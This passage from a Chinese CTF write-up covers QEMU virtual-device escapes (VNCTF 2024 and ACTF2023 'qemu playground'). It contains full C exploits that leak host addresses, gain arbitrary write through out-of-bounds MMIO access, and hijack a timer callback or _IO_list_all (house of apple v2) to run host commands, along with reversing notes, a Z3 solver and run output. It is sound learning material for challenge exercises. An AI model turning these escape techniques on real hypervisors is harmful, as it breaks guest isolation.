}
mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_mem == MAP_FAILED) {
fatal("Error mmap fd");
}
}

int main() {
uint32_t ret = 0;
uint64_t elf_base;
uint64_t vn_mmio_ops;
uint64_t main_loop_tlg;
uint64_t qemu_time_list1;
uint64_t opaque;
uint64_t opaque_buf;
uint64_t system_fptr;

IMSG("Prepare mmio...");
mmio_setup();

IMSG("Leaking elf base...");
set_off(-0xC0);
vn_mmio_ops = mmio_readll(0x20);
elf_base = vn_mmio_ops - 0xf581e0;
main_loop_tlg = elf_base + 0x14b9480;
system_fptr = elf_base + 0x312040;
DMSG("elf_base : %#lx", elf_base);
DMSG("main_loop_tlg : %#lx", main_loop_tlg);
DMSG("system func : %#lx", system_fptr);

IMSG("Leaking opaque addr...");
set_off(-0xC0 + 8);
opaque = mmio_readll(0x20);
opaque_buf = opaque + 0xb40;
DMSG("opaque : %#lx", opaque);
DMSG("opaque_buf : %#lx", opaque_buf);

IMSG("Leak QemuTimerListGroup[1]...");
set_off(main_loop_tlg - opaque_buf + 0x8);
qemu_time_list1 = mmio_readll(0x20);
DMSG("qemu_time_list1 : %#lx", qemu_time_list1);

IMSG("Make fake QEMUTimer in opaque buf....");
// struct QEMUTimerListGroup {
// QEMUTimerList *tl[QEMU_CLOCK_MAX];
// };
// struct QEMUTimerList {
// QEMUClock *clock;
// QemuMutex active_timers_lock;
// QEMUTimer *active_timers; // 0x48 : change to opaque_buf
// ...
// struct QEMUTimer {
// int64_t expire_time;
// QEMUTimerList *timer_list;
// QEMUTimerCB *cb; // 0x10: change to system func ptr
// void *opaque; // 0x18: change to cmd
// QEMUTimer *next;
// int attributes;
// int scale;
// };
uint64_t fake_qemu_timer = opaque_buf;
uint64_t cmd_ptr = opaque_buf + 0x30;
mmio_writell(0x8, qemu_time_list1);
mmio_writell(0x10, system_fptr);
mmio_writell(0x18, cmd_ptr);
// "/bin/sh" 0x0068732f6e69622f 卡死
mmio_writell(0x30, 0x67616c6620746163); // "cat flag"

IMSG("Change QemuTimerListGroup[1] to opaque buf");
set_off(qemu_time_list1 - fake_qemu_timer + 0x40);
mmio_writel(0x30, fake_qemu_timer);
return EXIT_SUCCESS;
}

执行函数成功

1
2
3
4
5
6
7
8
9
10
11
12
13
~ # ./exp
[+] exp.c Prepare mmio...
[+] exp.c Leaking elf base...
[*] exp.c elf_base : 0x55e4c481e000
[*] exp.c main_loop_tlg : 0x55e4c5cd7480
[*] exp.c system func : 0x55e4c4b30040
[+] exp.c Leaking opaque addr...
[*] exp.c opaque : 0x55e4c89d3c30
[*] exp.c opaque_buf : 0x55e4c89d4770
[+] exp.c Leak QemuTimerListGroup[1]...
[*] exp.c qemu_time_list1 : 0x55e4c79f5840
[+] exp.c Make fake QEMUTimer in opaque buf....
flag{vnctf2024-test}

Exploit 2

net_bridge_run_helper函数存在一个execv(“/bin/sh”)

1
2
3
4
5
.text:0000000000674291                 lea     rax, [rbp+argv]
.text:0000000000674298 mov rsi, rax ; argv
.text:000000000067429B lea rax, aBinSh_0 ; "/bin/sh"
.text:00000000006742A2 mov rdi, rax ; path
.text:00000000006742A5 call _execv

修改MemoryRegion的结构体中的ops劫持控制流🫢!对于 MMIO 而言read/write最终调用ops->read()ops->write()

ACTF2023 qemu playground

逆向(3) && PWN

下载题目:team-s2/ACTF-2023

启动脚本

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
timeout --foreground 300 ./qemu-system-x86_64 \
-device actf \
-m 128M \
-L ./pc-bios \
-append "console=ttyS0" \
-kernel bzImage \
-initrd rootfs.cpio \
-nographic \
-no-reboot \
-monitor /dev/null

Reverse

使用IDA打开,直接搜索字符串,可以找到actf

1
2
.rodata:000000000098B9FB	0000000A	C	actf-mmio
.rodata:000000000098BA05 0000000A C actf-pmio

交叉引用,可以找到 realize 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void *__fastcall actf_class_init(const char ***objectClass)
{
void *devClass; // rbx
void *pciDevClass; // rax

devClass = (void *)object_class_dynamic_cast_assert(
objectClass,
"device",
"/home/esifiel/qemu/include/hw/qdev-core.h",
0x4Du,
"DEVICE_CLASS");
pciDevClass = (void *)object_class_dynamic_cast_assert(
objectClass,
"pci-device",
"/home/esifiel/qemu/include/hw/pci/pci_device.h",
9u,
"PCI_DEVICE_CLASS");
*((_QWORD *)pciDevClass + 22) = pci_actf_realize;
*((_DWORD *)pciDevClass + 52) = 0xAC7F1234; // classid:vendorid
*((_BYTE *)pciDevClass + 212) = 0x10; // reversion
*((_WORD *)pciDevClass + 107) = 0xFF; // class id
*((_QWORD *)devClass + 12) |= 0x80uLL;
return pciDevClass;
}

__int64 __fastcall pci_actf_realize(const char ****object)
{
const char ****actfState; // rax
__int64 v2; // r13
__int64 v3; // rbp

actfState = object_dynamic_cast_assert(object, "actf", "../hw/misc/actfdev.c", 0x24u, "ACTF");
v2 = (__int64)(actfState + 336);
v3 = (__int64)actfState;
memory_region_init_io(
(__int64)(actfState + 336),
(__int64)actfState,
&mmio_ops,
(__int64)actfState,
(__int64)"actf-mmio",
4096LL);
pci_register_bar((__int64)object, 0, 0, v2);
memory_region_init_io(v3 + 2960, v3, &pmio_ops, v3, (__int64)"actf-pmio", 32LL);
return pci_register_bar((__int64)object, 1, 1u, v3 + 2960);
}

mmio_read/write:rdi一般为一个void类型指针,一般会强转为自定义的PCIDevice。一个buffer数组,读写4个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall actf_mmio_read(__int64 opaque, unsigned __int64 addr, int size)
{
__int64 result; // rax

result = -1LL;
if ( size == 4 && addr <= 0x40 )
return *(unsigned int *)(opaque + addr + 0xA38);
return result;
}

void __fastcall actf_mmio_write(__int64 opaque, unsigned __int64 addr, int val, int size)
{
if ( size == 4 )
{
if ( addr > 0x20 )
{
if ( addr <= 0x40 )
*(_DWORD *)(opaque + addr + 0xA38) = val;
}
else
{
*(_DWORD *)(opaque + addr + 0xA38) = val;
}
}
}

pmio_read/write,write创建一个线程,启动一个函数,在这里重命名为 xxxx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __fastcall actf_pmio_read(const char ****opaque, unsigned __int64 addr)
{
const char ****v2; // rax
__int64 v3; // r8

v2 = object_dynamic_cast_assert(opaque, "actf", "../hw/misc/actfdev.c", 0x24u, "ACTF");
if ( addr == 1 )
return *((unsigned __int8 *)v2 + 0xA31);
if ( addr <= 1 )
return *((unsigned __int8 *)v2 + 0xA30);
v3 = -1LL;
if ( addr - 16 > 0xF || !*((_BYTE *)v2 + 0xA31) )
return v3;
return *(unsigned int *)((char *)v2[335] + (addr & 0xF));
}

unsigned __int64 __fastcall actf_pmio_write(const char ****opaque, unsigned __int64 addr, int val)
{
const char ****v4; // r12
__int64 v5; // rcx
int v6; // r8d
int v7; // r9d
__int64 v9; // rax

v4 = object_dynamic_cast_assert(opaque, "actf", "../hw/misc/actfdev.c", 0x24u, "ACTF");
off_11BB7F0(v4 + 405, "../hw/misc/actfdev.c", 116LL);
if ( addr == 1 )
{
if ( !*((_BYTE *)v4 + 0xA30) )
{
*((_BYTE *)v4 + 2608) = 1;
qemu_thread_create((pthread_t *)v4 + 404, (__int64)"actf-worker-thread", (__int64)sub_409F40, (__int64)v4, 1);
}
}
else if ( addr > 1 )
{
if ( addr - 16 <= 0xF && *((_BYTE *)v4 + 2609) )
{
v9 = (__int64)v4[335];
if ( !v9 )
{
v9 = g_malloc(32LL);
v4[335] = (const char ***)v9;
}
*(_DWORD *)(v9 + (addr & 0xF)) = val;
}
}
else
{
*((_BYTE *)v4 + 2608) = 0;
}
return qemu_mutex_unlock((pthread_mutex_t *)v4 + 81, (int)"../hw/misc/actfdev.c", 0x8Bu, v5, v6, v7);
}

查看相关配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
~ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:ac7f
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

~ # cat /sys/devices/pci0000:00/0000:00:04.0/resource
0x00000000febf1000 0x00000000febf1fff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

重新打包cpio文件,尽量不覆盖原来的文件,我们改个名,使用makefile自动化

1
2
3
4
5
6
7
8
9
10
11
CC := gcc
CFLAGS := -no-pie -static
SRC := exp.c
TARGET := exp

$(TARGET): $(SRC)
$(CC) $(CFLAGS) $^ -o $@
strip $@
find . | cpio -ov --format=newc | gzip -9 > ../rootfs.cpio.gz
clean:
rm -f $(TARGET)

mmio_read/write:读写 0xa38 附近的内容0x0~0x44,读取一下,暂时没发现有用的地方,查看pmio_read 0xa30区域和 ActfState。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> p/x $rdi+$rsi+0xa38
$3 = 0x56327d1bc568
pwndbg> tele 0x56327d1bc568
00:0000│ 0x56327d1bc568 ◂— 0x0
... ↓ 7 skipped
pwndbg> tele 0x56327d1bc568-0xa38+0xa30
00:0000│ 0x56327d1bc560 ◂— 0x1234ac7f00000000
01:0008│ 0x56327d1bc568 ◂— 0x0
... ↓ 6 skipped
pwndbg> tele 0x56327d1bc568-0xa38
00:0000│ rdi 0x56327d1bbb30 —▸ 0x56327c433850 —▸ 0x56327c1888d0 —▸ 0x56327c156b10 ◂— 0x560066746361 /* 'actf' */
01:0008│ 0x56327d1bbb38 —▸ 0x7ff383e92d50 (g_free) ◂— endbr64
02:0010│ 0x56327d1bbb40 —▸ 0x56327d1b86a0 ◂— 0x8
03:0018│ 0x56327d1bbb48 ◂— 0xc /* '\x0c' */
04:0020│ 0x56327d1bbb50 —▸ 0x56327c437360 —▸ 0x56327c36b930 —▸ 0x56327c1d2260 —▸ 0x56327c1d23e0 ◂— ...
05:0028│ 0x56327d1bbb58 ◂— 0x0
06:0030│ 0x56327d1bbb60 —▸ 0x56327d1b9ef0 ◂— '/machine/peripheral-anon/device[0]'
07:0038│ 0x56327d1bbb68 ◂— 0x1

pmio_read有一个需要0xa31处值为1,因此需要先解决一下。

1
if ( addr - 16 > 0xF || !*((_BYTE *)v2 + 0xA31) )

在pmio_write处创建的线程处赋值,某些偏移被强制类型转化了,因此需要看汇编,并且这里使用128为寄存器。变量重命名😢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
__int64 __fastcall sub_409F40(const char ****opaque)
{
const char ****actfState; // rax
int actfDW; // edx
const char ****_actfState; // r10
__m128i *actfBuf0; // rbx
const __m128i *actfBuf2; // r11
__int64 *_stackBuf; // rax
int offset; // r8d
__m128i *__actfBuf0; // rdi
__int64 *__stackbuf; // rdx
const __m128i *_actfBuf2; // rsi
__m128i actfBuf1; // xmm2
char byte1; // al
char v13; // cl
__m128i ___actfBuf0; // xmm5
__m128i _____actfBuf1; // xmm6
__int128 v16; // rax
__int128 v18; // rax
__int128 stackBuf[2]; // [rsp+0h] [rbp-98h] BYREF
__int64 endStackBuf[2]; // [rsp+20h] [rbp-78h] BYREF
__int64 v21; // [rsp+30h] [rbp-68h]
__int64 v22; // [rsp+38h] [rbp-60h]
__m128i _actfBuf0; // [rsp+40h] [rbp-58h] BYREF
__m128i ___actfBuf1; // [rsp+50h] [rbp-48h] BYREF
unsigned __int64 v25; // [rsp+68h] [rbp-30h]

v25 = __readfsqword(0x28u);
actfState = object_dynamic_cast_assert(opaque, "actf", "../hw/misc/actfdev.c", 0x24u, "ACTF");
actfDW = *((_DWORD *)actfState + 0x28D); // 0xa34: 值为0x1234ac7f
_actfState = actfState;
memset(stackBuf, 0, sizeof(stackBuf));
actfBuf0 = (__m128i *)(actfState + 0x147); // a38
actfBuf2 = (const __m128i *)(actfState + 0x14B);// a58
_stackBuf = (__int64 *)stackBuf;
do
{
*(_DWORD *)_stackBuf = actfDW;
_stackBuf = (__int64 *)((char *)_stackBuf + 4);
}
while ( _stackBuf != endStackBuf ); // 填充 8 * 0x1234ac7f 到栈上
offset = -(int)actfBuf2;
do
{
__actfBuf0 = &_actfBuf0;
__stackbuf = (__int64 *)stackBuf;
_actfBuf2 = actfBuf2;
actfBuf1 = _mm_loadu_si128((const __m128i *)(_actfState + 0x149));// a48
_actfBuf0 = _mm_loadu_si128((const __m128i *)(_actfState + 0x147));// a38
___actfBuf1 = actfBuf1;
do
{
byte1 = __actfBuf0->m128i_i8[0] ^ _actfBuf2->m128i_i8[0];
__stackbuf = (__int64 *)((char *)__stackbuf + 1);
v13 = *((_BYTE *)__stackbuf - 1) ^ (offset + (_BYTE)_actfBuf2);// stackBuf 单个字节 ^ 0,1,2...
_actfBuf2 = (const __m128i *)((char *)_actfBuf2 + 1);
__actfBuf0 = (__m128i *)((char *)__actfBuf0 + 1);
*((_BYTE *)__stackbuf - 1) = v13; // stackBuf 异或结果写回stackBuf
__actfBuf0[-1].m128i_i8[15] = v13 ^ byte1;// 修改 actfBuf 内容
}
while ( __stackbuf != endStackBuf );
___actfBuf0 = _mm_load_si128(&_actfBuf0);
LOBYTE(offset) = offset + 0x11;
_____actfBuf1 = _mm_load_si128(&___actfBuf1);
*actfBuf0 = _mm_loadu_si128(actfBuf2);
actfBuf0[1] = _mm_loadu_si128(actfBuf2 + 1);
*(__m128i *)(_actfState + 331) = ___actfBuf0;// a58
*(__m128i *)(_actfState + 333) = _____actfBuf1;// a68
// swap 操作,a38 swap a58 0x20
}
while ( (_BYTE)offset != 0xAA - (_BYTE)actfBuf2 );// 10次循环
endStackBuf[0] = 0xABA29EC2A98DD89ALL;
*((_QWORD *)&v16 + 1) = (unsigned __int64)_actfState[327] ^ 0xABA29EC2A98DD89ALL;// a38
endStackBuf[1] = 0xBBF1B4AB81B4A9D4LL;
*(_QWORD *)&v16 = actfBuf0->m128i_i64[1] ^ 0xBBF1B4AB81B4A9D4LL;
v21 = 0xFB92A48DB386FFA8LL;
v22 = 0xEFB491B8AFB4ABD3LL;
if ( v16 == 0 && !(v21 ^ actfBuf0[1].m128i_i64[0] | actfBuf0[1].m128i_i64[1] ^ 0xEFB491B8AFB4ABD3LL) )// 都为0,可以推出上一步的actfBuf0的值
{
_actfBuf0.m128i_i64[0] = 0x80EF69F1CBD00397LL;
*((_QWORD *)&v18 + 1) = (unsigned __int64)_actfState[331] ^ 0x80EF69F1CBD00397LL;// a58
_actfBuf0.m128i_i64[1] = 0xB2EB07859CDA52D3LL;
*(_QWORD *)&v18 = actfBuf2->m128i_i64[1] ^ 0xB2EB07859CDA52D3LL;
___actfBuf1.m128i_i64[0] = 0xEC9E22F5A5A07FA3LL;
___actfBuf1.m128i_i64[1] = 0x4B36DF7B5B655A84LL;
if ( v18 == 0
&& !(___actfBuf1.m128i_i64[0] ^ actfBuf2[1].m128i_i64[0] | actfBuf2[1].m128i_i64[1] ^ 0x4B36DF7B5B655A84LL) )// 推出actfBuf2的值
{
*((_BYTE *)_actfState + 0xA31) = 1;
}
}
*((_BYTE *)_actfState + 0xA30) = 0;
return 0LL;
}

我们可以提取出最后的数据

1
2
3
4
5
6
7
8
9
10
buf0-20 byte
0xABA29EC2A98DD89ALL
0xBBF1B4AB81B4A9D4LL
0xFB92A48DB386FFA8LL
0xEFB491B8AFB4ABD3LL
buf2-20byte
0x80EF69F1CBD00397LL
0xB2EB07859CDA52D3LL
0xEC9E22F5A5A07FA3LL
0x4B36DF7B5B655A84LL

算法简化

1
2
3
4
5
6
7
8
9
10
11
buffer0 = [?] * 0x20
buffer2 = [?] * 0x20
stackBuf = [0x7f, 0xac, 0x34, 0x12] * 8

for i in range(10):
for j in range(32):
b1 = buffer0[j] ^ buffer2[j]
b2 = stackBuf[j] ^ (i * 0x11 + j) & 0xff)
stackBuf[j] = b2
buffer0[j] = b1 ^ b2
buffer0, buffer2 = buffer2, buffer0

学习使用Z3-Solver解密:Solver add 约束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
"""
buffer0 = [?] * 0x20
buffer2 = [?] * 0x20
stackBuf = [0x7f, 0xac, 0x34, 0x12] * 8

for i in range(10):
for j in range(32):
b1 = buffer0[j] ^ buffer2[j]
b2 = stackBuf[j] ^ (i * 0x11 + j) & 0xff)
stackBuf[j] = b2
buffer0[j] = b1 ^ b2
buffer0, buffer2 = buffer2, buffer0
"""

from struct import pack
from z3 import *

sol = Solver()

stackBuf = [0x7f, 0xac, 0x34, 0x12] * 8
buf = [BitVec(f'buf{i}', 8) for i in range(0x40)]
tmp = [BitVec(f'tmp{i}', 8) for i in range(0x20)]
order = buf.copy() # 为了结果有序

for i in range(0x40):
sol.add(buf[i] <= 0x7f)
sol.add(buf[i] >= 0x20)

ans = [
0xABA29EC2A98DD89A,
0xBBF1B4AB81B4A9D4,
0xFB92A48DB386FFA8,
0xEFB491B8AFB4ABD3,
0x80EF69F1CBD00397,
0xB2EB07859CDA52D3,
0xEC9E22F5A5A07FA3,
0x4B36DF7B5B655A84
]

byteans = b''.join([pack("<Q", num) for num in ans])
# print(byteans)


for i in range(10):
for j in range(0x20):
b1 = buf[j] ^ buf[j + 0x20]
b2 = stackBuf[j] ^ ((j + 0x11 * i) & 0xFF)
stackBuf[j] = b2
tmp[j] = b2 ^ b1 # buf前20位

buf[:0x20] = buf[0x20:]
buf[0x20:] = tmp[:0x20]

assert len(byteans) == 0x40
for i in range(0x40):
sol.add(byteans[i] == buf[i])

flag = []
if sol.check() == sat:
model = sol.model()
for i in order:
flag.append(int(f'{model[i]}'))
print(''.join(chr(i) for i in flag))
else:
print("[-] no sol")

Exploit

pmio_write 可以在 0xa78malloc(0x20),并且向堆内写内容。pmio_read可以读取内容,可以泄露libc

1
2
pwndbg> tele 0x55e880791b30+0xa78
00:0000│ 0x55e8807925a8 —▸ 0x7f712072fde0 ◂— 0x7f71deadbeef

mmio_read/write 存在4字节的越界读写(判断条件是 <= 0x40正好是A78内容,结合pmio可以写入内容,差不多是任意地址写,但是高4字节是固定的,拿vmmap查看,可以改变libc的内容,并且存在rwx区域

1
2
3
4
5
6
7
8
0x7f7130000000     0x7f716ffff000 rwxp 3ffff000      0 [anon_7f7130000] 
...
0x7f7177f7d000 0x7f7177fa5000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f7177fa5000 0x7f717813a000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f717813a000 0x7f7178192000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f7178192000 0x7f7178193000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f7178193000 0x7f7178197000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f7178197000 0x7f7178199000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6

比较简单利用思路:mmio_write 修改IO_list_all。使用 house of apple V2,exit调用就退出qemu。

需要找到一段内存来泄露libc,任意位置的读写,需要找到合适的位置,我们根据其泄露的地址寻找一段区域。如下是找到main_arena区域。

1
2
3
4
5
6
7
# pagename:我们需要找的,比如libc
# offset: 寻找时一次增加的最大数字
pwndbg> leakfind $rsp --page_name=filename --max_offset=0x48 --max_depth=6

# [*] exp.c leak : 0x7fa420824160
pwndbg> leakfind 0x7fa420000000 --max_offset=0x10000 --page_name=libc -s 8 -d 3
0x7fa420000000+0x8a0 —▸ 0x7fa470000030+0x870 —▸ 0x7fa4795e6c80 /usr/lib/x86_64-linux-gnu/libc.so.6

知道上面的,在了解一下house of apple v2 原理,差不多可以做出来

  • _flags需要获得shell,前面有两个空格
  • vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用(A+0xd8) = _IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C,比如说C为system函数

A,B全为为fake_io_addr,设置一下就行,甚至连偏移都不需要改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// clang-format off
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#include <sys/io.h>
#include <sys/mman.h>
#include <sys/types.h>
// clang-format on

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_DEFAULT "\033[0m"

#define DMSG(fmt, ...) \
dprintf(STDERR_FILENO, "[*] %s\t" fmt "\n", __FILE__, ##__VA_ARGS__)

#define IMSG(fmt, ...) \
dprintf(STDERR_FILENO, COLOR_GREEN "[+] %s\t" fmt "\n" COLOR_DEFAULT, \
__FILE__, ##__VA_ARGS__)

#define EMSG(fmt, ...) \
dprintf(STDERR_FILENO, COLOR_RED "[-] %s\t" fmt "\n" COLOR_DEFAULT, \
__FILE__, ##__VA_ARGS__)

#define fatal(fmt, ...) \
do { \
EMSG(fmt, ##__VA_ARGS__); \
exit(EXIT_FAILURE); \
} while (0)

void *mmio_mem;
uint32_t pmio_base = 0xC040;

const char buf[] =
"ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}";

static inline uint32_t pmio_readb(uint32_t addr) {
return inb(pmio_base + addr);
}

static inline uint32_t pmio_readl(uint32_t addr) {
return inl(pmio_base + addr);
}

static inline uint64_t pmio_readll(uint32_t addr) {
uint64_t low, high;
high = pmio_readl(addr + 4);
low = pmio_readl(addr);
return (high << 32) | (low & 0xffffffff);
}

static inline void pmio_writel(uint32_t addr, uint32_t value) {
outl(value, pmio_base + addr);
}

static inline void pmio_writeb(uint32_t addr, uint8_t value) {
outb(value, pmio_base + addr);
}

uint32_t mmio_read(uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); }

static inline void mmio_write(uint32_t addr, uint32_t value) {
*(uint32_t *)(mmio_mem + addr) = value;
}

static inline void arb_write(uint64_t where, uint64_t what) {
mmio_write(0x40, where & 0xffffffff);
pmio_writel(0x10, what & 0xffffffff);
pmio_writel(0x14, (what >> 32) & 0xffffffff);
}

void setup_mmio() {
int fd =
open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (fd == -1) {
fatal("Error setup mmio");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_mem == MAP_FAILED) {
fatal("Error mmap mmio_fd");
}
DMSG("init mmio");
}

void setup_pmio() {
if (iopl(3) != 0) {
fatal("Error setup pmio: I/O permission is not enough");
}
DMSG("init pmio");
}

int main() {
uint64_t ret;
uint64_t high, low;
uint64_t leak_main_arena;
uint64_t libc_base;

IMSG("Prepare mmio and pmio ...");
setup_pmio();
setup_mmio();

IMSG("Write state->buffer...");
for (int i = 0; i < strlen(buf); i += 4) {
mmio_write(i, *(uint32_t *)(buf + i));
}

IMSG("Write to set 0xA31 to 1...");
pmio_writeb(1, 0);
ret = pmio_readb(1);
DMSG("0xA31 : %#lx", ret);

IMSG("Malloc...");
pmio_writel(0x10, 0xdeadbeef);

IMSG("Leak libc...");
low = mmio_read(0x40);
mmio_write(0x40, (low & 0xff000000) + 0x8a0);
leak_main_arena = pmio_readll(0x10);
mmio_write(0x40, leak_main_arena + 0x870);
libc_base = pmio_readll(0x10);
DMSG("leak main_arena : %#lx", leak_main_arena + 0x870);
libc_base -= 0x1913c80;
DMSG("libc base : %#lx", libc_base);

uint64_t system_fptr = libc_base + 0x1749d70;
uint64_t IO_wfile_jumps = 0x19100c0 + libc_base;
uint64_t IO_list_all = 0x1914680 + libc_base;
uint64_t fake_io_addr = leak_main_arena + 0x1000;

IMSG("House of apple V2 ...");
char cmd[0x18] = " cat flag 1>&2";
for (int i = 0; i < 0x18; i += 8) {
arb_write(fake_io_addr + i, *(uint64_t *)(cmd + i));
}
arb_write(fake_io_addr + 0x18, 0);
arb_write(fake_io_addr + 0x28, 1);
arb_write(fake_io_addr + 0x30, 0);
arb_write(fake_io_addr + 0x68, system_fptr);
arb_write(fake_io_addr + 0xa0, fake_io_addr);
arb_write(fake_io_addr + 0xd8, IO_wfile_jumps);
arb_write(fake_io_addr + 0xe0, fake_io_addr);

arb_write(IO_list_all, fake_io_addr);
return EXIT_SUCCESS;
}

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
~ # ./exp
[+] exp.c Prepare mmio and pmio ...
[*] exp.c init pmio
[*] exp.c init mmio
[+] exp.c Write state->buffer...
[+] exp.c Write to set 0xA31 to 1...
[*] exp.c 0xA31 : 0
[+] exp.c Malloc...
[+] exp.c Leak libc...
[*] exp.c leak main_arena : 0x7f0f680008a0
[*] exp.c libc base : 0x7f0f6d4e9000
[+] exp.c House of apple V2 ...
[ 4.651800] exp (53) used greatest stack depth: 14000 bytes left
~ # exit
[ 6.480651] ACPI: PM: Preparing to enter system sleep state S5
[ 6.481266] reboot: Power down
ACTF{7ry_b4by_q3mu_ch@1leng3_4nd_g3t_b@by_f1ag}

更简单的办法 todo:存在ORW内存区域,可以写shellcode。

MORE

  1. qemu中存在很多函数,有时候泄露libc有时有点多余。
  2. 可以在 State 中寻找 MemroyRegion 的 ops
  3. 想要符号表,那就自己编译一个。

Qemu8.x之后有个巨大的RWX段:[bi0sCTF 2024]: virto-note

Qemu minitor

ctrl + a => c 进入minitor控制台。在monitor控制台中,可以完成很多常规操作,比如添加删除设备虚拟机音视频截取获取虚拟机运行状态更改虚拟机运行时配置等等。并且可以执行一定的命令

Qemu KVM

KVM(Kernal-based Virtual Machine,基于内核的虚拟机)是一个内核模块,可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。

KVM的用户空间组件包含在主线QEMU(快速仿真器)中,该QEMU特别处理设备仿真。

CVE

todo

  • ACTF2023 EasyVirtio CVE-2023-3180
  • CVE-2019-6778

参考